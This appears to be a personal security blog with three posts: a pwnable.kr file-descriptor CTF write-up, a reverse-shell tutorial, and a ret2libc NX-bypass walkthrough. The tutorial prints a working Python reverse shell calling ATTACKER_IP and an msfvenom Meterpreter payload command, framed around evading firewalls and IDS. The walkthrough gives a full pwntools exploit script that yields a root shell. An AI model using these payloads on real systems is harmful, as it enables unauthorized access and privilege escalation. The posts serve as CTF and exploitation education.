Search This Blog

Monday, April 25, 2022

fd - pwnable.kr (file descriptors & read() function) | pwn



CHALLENGE DESCRIPTION:

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)

This is my writeup for an easy pwn challenge that has to do with file descriptors and the read() function. using the SSH creds given, we log onto the server and we list the files in the current directory to see an executable file, the source code to the executable as well as the flag, owned by root, which stops us from cheating. The challenge needs to be complete to read the flag. Let's see the files provided to complete the challenge. play the wargame here.

fd@pwnable:~$ ls
fd  fd.c  flag

Let's see more about the fd executable file....

fd@pwnable:~$ file fd
fd: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.24 BuildID[sha1]=c5ecc1690866b3bb085d59e87aad26a1e386aaeb, not stripped

Turns out the challenge is a 32bit ELF file, dynamically linked, meaning that it has libc libraries it refers to when executing built-in C functions like printf() and system() functions and its not stripped, which makes it easy to reverse engineer if it ever comes to that. Let's open the fd.c file to see how the program is written to analyze the code.

fd@pwnable:~$ cat fd.c
#include stdio.h
#include stdlib.h
#include string.h
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc < 2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

The goal is for the system("/bin/cat flag") to be executed to complete the challenge. For this to happen, we have to do some analysis on the code prior to this in order to see how we can achieve this. the source reveals a main() function which firstly checks if the command line arguments are two. if not it prints "pass argv[1] a number". If the arguments are two, it then goes forward to take the command line argument and passes it into the atoi() function which turns an ascii character to an integer. The next two lines show the 'len' variable contain zero. The next line pretty much shows the read() function at play. Looking into the manpages, we see the description of the function of the read() function

"The read() function shall attempt to read nbyte bytes from the file associated with the open file descriptor, 
fildes, into the buffer pointed to by buf"

Linux File descriptors are as follows:

0: stdin
1: stdout
2: stderr

This indicates that if we can get the fd = 0, the program will take input from stdin, then we can go on and input 'LETMEWIN' since there is a strcmp() function which compares the input places in buf with the string 'LETMEWIN'. The fd variable will take our command line argument and subtract it by 0x1234, which is 4660 in ascii text. To exploit this, we simply execute the fd binary and insert 4660 as a command line argument and after input the 'LETMEWIN' string in order for the strcmp() function check to evaluate to "True" (meaning the program must see that the string we put in and the string our input is compared to by the program evaluates to true so that the system() function executes the "/bin/cat flag" gets executed for the flag to be captured.

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

Challenge completed! 

Flag: mommy! I think I know what a file descriptor is!!

Friday, April 15, 2022

Reverse Shells

Most linux administrators and even attackers have knowledge on how to navigate the command line, both in Windows and Linux systems. With respects to having to navigate file systems and look around a computer without the graphical user interface, we are used to, we make use of what we call a terminal. Most hackers who are proficient with linux mostly use the terminal to complete much more complicated tasks that the graphical user interface simply can't use. When an attacker has successfully enumerated and investigated the target system within the target network and finally needs the unauthorized remote access within the network, a reverse shell is simply what is used. A Reverse Shell, most technically referred to as a TCP Reverse Shell, is a program that opens a command shell such as sh or bash on a compromised system then connects back to an attacker-specified system to allow the attacker remote access of the command shell. 

Typically within networks, firewalls are put in place to prevent any incoming connections that will be coming from outside the respective network. For a normal shell session, the machine controlled by the attacker will actively have to connect to the victim machine within the target network... however the probability of this happening is very slim as the attacker is well aware that this will prove to be useless. An attacker has to ensure that his or her work to gain unauthorized access is as stealthy as possible. In modern networks that have firewalls in place to reject incoming traffic into the network and Intrusion Detection Systems, meant to pick up on any malicious activity will be able to see what is happening under the hood and detect that an attacker might be actively trying to establish a remote connection by directly connecting to the target. Instead of this happening, an attacker will instead investigate the target and find a means to gain unauthorized access to the network either via phishing attempts or vulnerability exploitation. When attempting to compromise a target system, an attacker may try to exploit a command injection vulnerability on the server system. The injected code will often be a reverse shell script to provide a convenient command shell for further malicious activities. This reverse shell will then cause the target system or server to connect to the attacker machine instead and establish a shell, thus bypassing firewall and IDS detection.

Below is an example of a reverse shell code written in python. This is done this way because when exploiting a vulnerability like command injection, this type of code would be inserted to allow the system to execute this code. This would then initialize the reverse shell so the target server will connect to the attacker controlled machine, essentially giving the attacker remote access. I would like to explain the vital parts of the code code below for the beginners or the curious.

user@kaizen:~$ cat revshell.py

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",ATTACKER_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

socket.socket(socket.AF_INET, socket.SOCK_STREAM) - If you're familiar with python programming, you'll be well aware that python has a socket library, which has functions and methods responsible for socket programming. This line calls for the socket() function within the socket library. Within the brackets are the parameters which are to be passed into the socket() function, which are the AF_INET, responsible for the Internet IP Address family which is IPV4. SOCK_STREAM is the socket type for TCP, the protocol used to transport messages in the network.

s.connect(("ATTACKER_IP",ATTACKER_PORT)) - this makes use of the connect() method within the socket library, and this is where the attacker will then specify the IP and PORT the attacker is responsible for.

p=subprocess.call([/bin/sh, "-i"]) - The subprocess module in Python is used to create new processes. This then calls the process /bin/sh, which is the path of where sh or bash is so it can be executed. This all happens on the attacker's machine in order to have remote /bin/bash access.

Other ways to create reverse shells is to craft payloads using executable binaries like .exe files for Windows. Best way to do this is using the Metasploit Framework.

Msfvenom is a command-line instance of The Metasploit Framework that is used to generate and output all of the various types of shellcode that are available in Metasploit. 

~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="ATTACKER_IP" LPORT="ATTACKER_PORT" -f exe revshell.exe

Flags: 

LHOST = (IP of Attacker Machine) 

LPORT = (PORT for the Attacker Machine) 

-p = (Payload I.e. Windows, Android, PHP etc.) 

F = file extension (i.e. windows=exe, android=apk etc.) 

o = “out file” to write to a location, which in this case is in the current working directory.

Once this executable file is dropped onto a remote target and executed, the reverse shell will be initiated, giving the attacker remote access.

Rounding Up

There are many other payloads and methods of initializing reverse shells for unauthorized remote access. This just gives a basic run down of how to do them in the simplest ways I know possible. Of course to be a successful hacker, intensive research is required within the domain of IT. This will allow you to have more creative approaches to create, drop reverse shells or even have your target execute reverse shells so you can have the remote access. Note that these methods (along with the others you will be researching cuz hacking is all about research) are also applicable for CTF challenges. Got more hacking tutorials comin up. Stay Tuned.

Sunday, April 10, 2022

Bypass NX | Ret2Libc Exploitation Trick | x64 Arch




We've looked at basic buffer overflows and we've seen how other memory regions can be overwritten to ultimately redirect program execution to whatever we want. As developers have become more aware to this type of attack, they have developed security mechanisms in place so that we as hackers won't be able to pull off such an attack. This paper will address this binary exploitation technique for bypassing the NX protection on x64-bit architecture on Linux. We know the stack based buffer overflow attack exploits a buffer which has been allocated on the stack....and that overwrite accesses different regions in memory, with the goal to overwrite RIP or EIP (for x32-bit systems) to inject either shellcode to spawn a root shell. With modern security protections in place, like NX such attacks are useless. NX, in more detail, is a security mechanism that, if turned on, allows the stack to be non-executable, which means that if we had to overwrite a buffer located on the stack, we wouldnt be able to execute any injected shellcode. There are other security protections such as ASLR (Address Stack Layout Randomization), Stack Canaries and RELRO... which will be discussed in future papers. Since NX protection is enabled, we will need to look for another mechanism to bypass this protection and spawn a root shell, and this trick is called ret2libc. This attack does not require an attacker to inject any shellcode, which is makes it more versatile. Whenever a C Program is written, there are functions such as printf(), scanf() etc. All these functions are identified because in C, there is a standard library that is called to access these functions, and that library is called the libc library. Libc is available on the system you're using to read this and is very independant as C written programs depend on it to for function. calls rather than the other way round. To illustrate this attack, you need to disable ASLR on your system in order for the ret2libc vulnerability search and exploitation is successful as ASLR randomizes the location of libc in memory....ultimately making it a hassle to execute flawlessly. If you happen to be following along, you will need access to a linux terminal as well as some additional tools such as pwntools, ROPGadgets and also the exact same version of the libc library.

user@kaizen:~/ret2libc-paper$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

The command above will disable ASLR on your linux system as ASLR is enabled by default. Consider the following:


#include stdio.h>

void receive_feedback()
{
    char buffer[64];

    puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
    gets(buffer);
}

int main()
{
    setuid(0);
    setgid(0);

    receive_feedback();

    return 0;
}

The code is simple. It has two functions which are main() and buffer(). The main() sets the user id to 0 as well as the group id to 0 as well (0 = root). It also calls on the receive_feedback() function which initializes a character buffer of 64 bytes, uses the gets() function, which is known to be a vulnerable function which fails to check if the user input has surpassed the number of bytes allocated on the buffer. We can go onwards and check the protections on the binary for confirmation.


user@kaizen:~/ret2libc-paper$ checksec --file vuln
[*] '/home/chris/writeups-by-kaizen/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Now that we've confirmed that NX is enabled, we can analyze in gdb to ensure that we overwrite the RIP (Instruction Pointer) as well as look for the offset of the system() function within the libc library in memory. We do this because any shellcode injected onto the stack won't execute because of the NX protection. Firstly, we can find the base address to the libc library using the ldd command. Like so:


user@kaizen:~/ret2libc-paper$ ldd ./vuln
        linux-vdso.so.1 (0x00007ffff7fca000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcc000)

The base address of libc is 0x00007ffff7dc7000. We will use this to craft the exploit later on. The next step will be to find the offset within this address towhere we can access the system() function and the exit() function. We can do this utilising the 'readelf' command in linux.


user@kaizen:~/ret2libc-paper$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
  1467: 0000000000049860    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

We now have the system() function offset within memory (0000000000049860). Now we look for the exit() function using the same command, just replacing "system" with "exit".


user@kaizen:~/ret2libc-paper$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "exit"
   139: 000000000003f100    26 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.2.5
   567: 00000000000caf20    72 FUNC    GLOBAL DEFAULT   15 _exit@@GLIBC_2.2.5
   626: 0000000000131680    37 FUNC    GLOBAL DEFAULT   15 svc_exit@GLIBC_2.2.5
   659: 0000000000138810    23 FUNC    GLOBAL DEFAULT   15 quick_exit@GLIBC_2.10
  2264: 000000000003f120   276 FUNC    WEAK   DEFAULT   15 on_exit@@GLIBC_2.2.5

Now we have the offset of the exit() function within the libc library in memory. We now have the address of system() and exit(). What next? Remember, we want to pop a root shell, so we will need to find the address of where '/bin/sh' is on order to pop a shell.


user@kaizen:~/ret2libc-paper$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 198882 /bin/sh

By using strings with the flags -a and -t with the libc library of the vulnerable executable, piping that to grep to look for the string "/bin/sh", we successfully leaked the address where the string /bin/sh is in memory. In x64-bit, we will not be able to pass the address of the string /bin/sh to the return pointer. We will need to put it in the RDI register. To do this, we will make use of rop gadgets.


user@kaizen:~/ret2libc-paper$ ropper --file vuln
========
GADGETS
========
0x0000000000401091: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;                                                         
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40117a; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;                                      
0x00000000004010fe: adc dword ptr [rax], edi; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                                       
0x0000000000401095: adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;            
0x00000000004010bc: adc edi, dword ptr [rax]; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                                       
0x0000000000401099: add ah, dh; nop dword ptr [rax + rax]; ret;                                                                                                           
0x0000000000401093: add bh, bh; adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;                                                                                     
0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;                                                                   
0x000000000040116e: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1040; nop; leave; ret;                                                                         
0x000000000040119d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1152; mov eax, 0; pop rbp; ret;                                                                
0x00000000004011a7: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;                                                                                         
0x00000000004010be: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                 
0x0000000000401100: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                 
0x0000000000401170: add byte ptr [rax], al; call 0x1040; nop; leave; ret;            
0x000000000040119f: add byte ptr [rax], al; call 0x1152; mov eax, 0; pop rbp; ret;                                                                                        
0x00000000004011a9: add byte ptr [rax], al; pop rbp; ret;                                                                                                                 
0x0000000000401212: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;                                                                                                  
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax;                                                                                           
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;                                     
0x00000000004010c0: add byte ptr [rax], al; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                                         
0x0000000000401102: add byte ptr [rax], al; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                                         
0x0000000000401098: add byte ptr [rax], al; hlt; nop dword ptr [rax + rax]; ret;                                                                                          
0x000000000040109e: add byte ptr [rax], al; ret;                            
0x000000000040109d: add byte ptr [rax], r8b; ret;                                                                                                                         
0x0000000000401137: add byte ptr [rcx], al; pop rbp; ret;                                                                                                                 
0x0000000000401092: add dil, dil; adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;                
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x1012; call rax;                                                                                                  
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;                                                                                 
0x0000000000401013: add esp, 8; ret;                                

These are the available rop gadgets we can use for our exploit. But we want to use the "pop rdi, ret" gadget in order to place the /bin/sh string into rdi. We can do that by using 'ropper' again, except that we can search for the type of gadget we want and it will print out the memory address of the gadget.


user@kaizen:~/ret2libc-paper$ ropper --file vuln --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: vuln
0x000000000040120b: pop rdi; ret; 

Now that we've found the rop gadget, we need to begin writing the exploit in order for us to lay all our findings. I will be using pwntools which makes exploit Development easier. Below is the full exploit to exploit the vulnerability and bypass NX.


user@kaizen:~/ret2libc-paper$ cat x.py 

#!/usr/bin/python3
from pwn import *

t = process('./vuln')
context.log_level = 'debug'

libc_addr = 0x00007ffff7dc7000
system_addr = libc_addr + 0x49860		// Added the offset of the system() in libc to the base address of libc
bin_sh = libc_addr + 0x198882

POP_RDI = 0x40120b				// "pop rdi, ret"

exploit = b'A' * 72				// padding. 64 + 8 additional bytes (x64) = 72 for RIP overwrite
exploit += p64(POP_RDI)				// ROP Gadget
exploit += p64(bin_sh)				// Address of /bin/sh() string in libc in memory
exploit += p64(system_addr)			// Address of system() function in libc
exploit += p64(0x0)				// return pointer

t.clean()
t.sendline(exploit)
t.interactive()

Now we run the exploit script


user@kaizen:~/ret2libc-paper$ python3 x.py 
[+] Starting local process './vuln': pid 87648
[DEBUG] Received 0x55 bytes:
    b"Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n"
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Sent 0x69 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  0b 12 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  82 f8 f5 f7  ff 7f 00 00  60 08 e1 f7  ff 7f 00 00  │····│····│`···│····│
    00000060  00 00 00 00  00 00 00 00  0a                        │····│····│·│
    00000069
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'root\n'
root
$  

WE NOW HAVE A ROOT SHELL!!! We successfully used the ret2libc technique to bypass NX and pop a root shell Successfully Exploited. This is my own official outlook on the ret2libc attack and would love to share more.